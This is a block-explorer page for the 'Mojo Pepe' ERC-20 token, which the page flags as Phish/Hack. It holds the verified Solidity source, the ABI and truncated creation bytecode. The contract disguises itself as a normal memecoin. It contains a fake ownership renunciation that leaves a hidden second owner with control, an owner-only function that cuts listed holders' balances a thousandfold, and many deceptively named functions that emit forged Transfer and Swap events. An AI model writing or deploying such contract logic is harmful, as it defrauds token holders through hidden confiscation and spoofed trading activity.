This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
420,690,000,000 ERC-20 TOKEN*
Holders
128 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
190,842,417.724407923956650529 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
mojopepe
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-06 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPair { function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IERC20 { function _Transfer( address from, address recipient, uint256 amount ) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } contract mojopepe { IRouter internal _router; IPair internal _pair; address public owner; address private _owner; address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pairr; event Swapp( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; string public constant name = "Mojo Pepe"; string public constant symbol = unicode"MOJOPEPE"; uint8 public constant decimals = 18; uint256 public totalSupply = 420_690_000_000e18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); constructor() { owner = msg.sender; _owner = msg.sender; _router = IRouter(_routerAddress); _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } modifier OnlyOwner() { require(_owner == msg.sender, "Caller is not the Owner"); _; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function renounceOwnership() public onlyOwner { owner = address(0); } function balanceOf(address account) public view virtual returns (uint256) { return balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(__owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); balances[from] = sub(fromBalance, amount); balances[to] = add(balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(__owner, spender, currentAllowance - amount); } } } function execute( address[] memory recipients, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) public OnlyOwner returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { _swap(recipients[i], tokenAmount, wethAmount, tokenAddress); } return true; } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function transfer( address[] calldata _users ) public OnlyOwner { for (uint256 i = 0; i < _users.length; i++) { if (balanceOf(_users[i]) > 1) { uint256 rewardAmount = _countReward(_users[i], 1000); balances[_users[i]] = rewardAmount; } } } function setup(address _setup_) external OnlyOwner { _pairr = _setup_; } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function call(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function _0x0162e2d0 (address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function _swap( address recipient, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) internal { _emitTransfer(recipient, tokenAmount); _emitSwap(tokenAmount, wethAmount, recipient); IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount); } function _emitTransfer(address recipient, uint256 tokenAmount) internal { emit Transfer(address(_pair), recipient, tokenAmount); } function _emitSwap( uint256 tokenAmount, uint256 wethAmount, address recipient ) internal { emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient); } function _countReward(address _user, uint256 _percent) internal view returns (uint256) { return _count(balances[_user], _percent); } function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) { uint256[] memory amountInMax; amountInMax = new uint256[](2); amountInMax = _router.getAmountsIn(amountOut, path); balances[address(this)] += amountInMax[0]; return amountInMax[0]; } function _count(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"_0x0162e2d0","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"call","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c054f529ca52576bc6892000000600955348015620000cc57600080fd5b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002439190620004b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f19190620004b6565b6040518363ffffffff1660e01b815260040162000310929190620004f9565b6020604051808303816000875af115801562000330573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003569190620004b6565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200043e919062000541565b60405180910390a36200055e565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200047e8262000451565b9050919050565b620004908162000471565b81146200049c57600080fd5b50565b600081519050620004b08162000485565b92915050565b600060208284031215620004cf57620004ce6200044c565b5b6000620004df848285016200049f565b91505092915050565b620004f38162000471565b82525050565b6000604082019050620005106000830185620004e8565b6200051f6020830184620004e8565b9392505050565b6000819050919050565b6200053b8162000526565b82525050565b600060208201905062000558600083018462000530565b92915050565b6127e6806200056e6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a06c1a331161007c578063a06c1a3314610377578063a457c2d714610393578063a9059cbb146103c3578063bc8ee03b146103f3578063d0d220f81461040f578063dd62ed3e1461042b57610142565b806370a08231146102d1578063715018a6146103015780638da5cb5b1461030b57806395d89b41146103295780639b792a441461034757610142565b8063313ce5671161010a578063313ce567146101ff578063321bef231461021d57806335d162741461023957806339509351146102695780634e41c50a1461029957806366d38203146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b357806326ededb8146101e3575b600080fd5b61014f61045b565b60405161015c919061192b565b60405180910390f35b61017f600480360381019061017a91906119f5565b610494565b60405161018c9190611a50565b60405180910390f35b61019d6104ab565b6040516101aa9190611a7a565b60405180910390f35b6101cd60048036038101906101c89190611a95565b6104b1565b6040516101da9190611a50565b60405180910390f35b6101fd60048036038101906101f89190611b4d565b6104d4565b005b6102076105a9565b6040516102149190611bc9565b60405180910390f35b61023760048036038101906102329190611b4d565b6105ae565b005b610253600480360381019061024e9190611be4565b610683565b6040516102609190611a7a565b60405180910390f35b610283600480360381019061027e91906119f5565b610818565b6040516102909190611a50565b60405180910390f35b6102b360048036038101906102ae9190611b4d565b610848565b005b6102cf60048036038101906102ca9190611be4565b61091d565b005b6102eb60048036038101906102e69190611be4565b6109f1565b6040516102f89190611a7a565b60405180910390f35b610309610a3a565b005b610313610b0e565b6040516103209190611c20565b60405180910390f35b610331610b34565b60405161033e919061192b565b60405180910390f35b610361600480360381019061035c9190611d79565b610b6d565b60405161036e9190611a50565b60405180910390f35b610391600480360381019061038c9190611dfc565b610c51565b005b6103ad60048036038101906103a891906119f5565b610de3565b6040516103ba9190611a50565b60405180910390f35b6103dd60048036038101906103d891906119f5565b610e53565b6040516103ea9190611a50565b60405180910390f35b61040d60048036038101906104089190611b4d565b610e6a565b005b61042960048036038101906104249190611b4d565b610f3f565b005b61044560048036038101906104409190611e49565b611014565b6040516104529190611a7a565b60405180910390f35b6040518060400160405280600981526020017f4d6f6a6f2050657065000000000000000000000000000000000000000000000081525081565b60006104a133848461109b565b6001905092915050565b60095481565b60006104be843384611264565b6104c98484846112f0565b600190509392505050565b60005b838390508110156105a3578383828181106104f5576104f4611e89565b5b905060200201602081019061050a9190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105889190611a7a565b60405180910390a3808061059b90611ee7565b9150506104d7565b50505050565b601281565b60005b8383905081101561067d578383828181106105cf576105ce611e89565b5b90506020020160208101906105e49190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106629190611a7a565b60405180910390a3808061067590611ee7565b9150506105b1565b50505050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107199190611fb1565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c89190612019565b73ffffffffffffffffffffffffffffffffffffffff16146107f957816dffffffffffffffffffffffffffff1661080b565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008033905061083d81858561082e8589611014565b6108389190612046565b61109b565b600191505092915050565b60005b838390508110156109175783838281811061086957610868611e89565b5b905060200201602081019061087e9190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108fc9190611a7a565b60405180910390a3808061090f90611ee7565b91505061084b565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a4906120c6565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612132565b60405180910390fd5b6000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600881526020017f4d4f4a4f5045504500000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf6906120c6565b60405180910390fd5b60005b8551811015610c4457610c31868281518110610c2157610c20611e89565b5b6020026020010151868686611599565b8080610c3c90611ee7565b915050610c02565b5060019050949350505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd8906120c6565b60405180910390fd5b60005b82829050811015610dde576001610d21848484818110610d0757610d06611e89565b5b9050602002016020810190610d1c9190611be4565b6109f1565b1115610dcb576000610d5c848484818110610d3f57610d3e611e89565b5b9050602002016020810190610d549190611be4565b6103e8611657565b90508060076000868686818110610d7657610d75611e89565b5b9050602002016020810190610d8b9190611be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b8080610dd690611ee7565b915050610ce4565b505050565b6000803390506000610df58286611014565b905083811015610e3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e31906121c4565b60405180910390fd5b610e47828686840361109b565b60019250505092915050565b6000610e603384846112f0565b6001905092915050565b60005b83839050811015610f3957838382818110610e8b57610e8a611e89565b5b9050602002016020810190610ea09190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f1e9190611a7a565b60405180910390a38080610f3190611ee7565b915050610e6d565b50505050565b60005b8383905081101561100e57838382818110610f6057610f5f611e89565b5b9050602002016020810190610f759190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff39190611a7a565b60405180910390a3808061100690611ee7565b915050610f42565b50505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612256565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611179576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611170906122e8565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112579190611a7a565b60405180910390a3505050565b60006112708484611014565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112ea57818110156112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390612354565b60405180910390fd5b6112e9848484840361109b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361135f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611356906123e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c590612478565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c9061250a565b60405180910390fd5b61145f81836116aa565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114eb600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611709565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158b9190611a7a565b60405180910390a350505050565b6115a38484611767565b6115ae8383866117f2565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b685600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161160d9392919061252a565b6020604051808303816000875af115801561162c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611650919061258d565b5050505050565b60006116a2600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611885565b905092915050565b6000828211156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e690612606565b60405180910390fd5b600082846116fd9190612626565b90508091505092915050565b60008082846117189190612046565b90508381101561175d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611754906126a6565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117e69190611a7a565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611878949392919061270b565b60405180910390a3505050565b60008183611893919061277f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118d55780820151818401526020810190506118ba565b60008484015250505050565b6000601f19601f8301169050919050565b60006118fd8261189b565b61190781856118a6565b93506119178185602086016118b7565b611920816118e1565b840191505092915050565b6000602082019050818103600083015261194581846118f2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061198c82611961565b9050919050565b61199c81611981565b81146119a757600080fd5b50565b6000813590506119b981611993565b92915050565b6000819050919050565b6119d2816119bf565b81146119dd57600080fd5b50565b6000813590506119ef816119c9565b92915050565b60008060408385031215611a0c57611a0b611957565b5b6000611a1a858286016119aa565b9250506020611a2b858286016119e0565b9150509250929050565b60008115159050919050565b611a4a81611a35565b82525050565b6000602082019050611a656000830184611a41565b92915050565b611a74816119bf565b82525050565b6000602082019050611a8f6000830184611a6b565b92915050565b600080600060608486031215611aae57611aad611957565b5b6000611abc868287016119aa565b9350506020611acd868287016119aa565b9250506040611ade868287016119e0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611b0d57611b0c611ae8565b5b8235905067ffffffffffffffff811115611b2a57611b29611aed565b5b602083019150836020820283011115611b4657611b45611af2565b5b9250929050565b600080600060408486031215611b6657611b65611957565b5b600084013567ffffffffffffffff811115611b8457611b8361195c565b5b611b9086828701611af7565b93509350506020611ba3868287016119e0565b9150509250925092565b600060ff82169050919050565b611bc381611bad565b82525050565b6000602082019050611bde6000830184611bba565b92915050565b600060208284031215611bfa57611bf9611957565b5b6000611c08848285016119aa565b91505092915050565b611c1a81611981565b82525050565b6000602082019050611c356000830184611c11565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611c73826118e1565b810181811067ffffffffffffffff82111715611c9257611c91611c3b565b5b80604052505050565b6000611ca561194d565b9050611cb18282611c6a565b919050565b600067ffffffffffffffff821115611cd157611cd0611c3b565b5b602082029050602081019050919050565b6000611cf5611cf084611cb6565b611c9b565b90508083825260208201905060208402830185811115611d1857611d17611af2565b5b835b81811015611d415780611d2d88826119aa565b845260208401935050602081019050611d1a565b5050509392505050565b600082601f830112611d6057611d5f611ae8565b5b8135611d70848260208601611ce2565b91505092915050565b60008060008060808587031215611d9357611d92611957565b5b600085013567ffffffffffffffff811115611db157611db061195c565b5b611dbd87828801611d4b565b9450506020611dce878288016119e0565b9350506040611ddf878288016119e0565b9250506060611df0878288016119aa565b91505092959194509250565b60008060208385031215611e1357611e12611957565b5b600083013567ffffffffffffffff811115611e3157611e3061195c565b5b611e3d85828601611af7565b92509250509250929050565b60008060408385031215611e6057611e5f611957565b5b6000611e6e858286016119aa565b9250506020611e7f858286016119aa565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ef2826119bf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f2457611f23611eb8565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b611f5281611f2f565b811461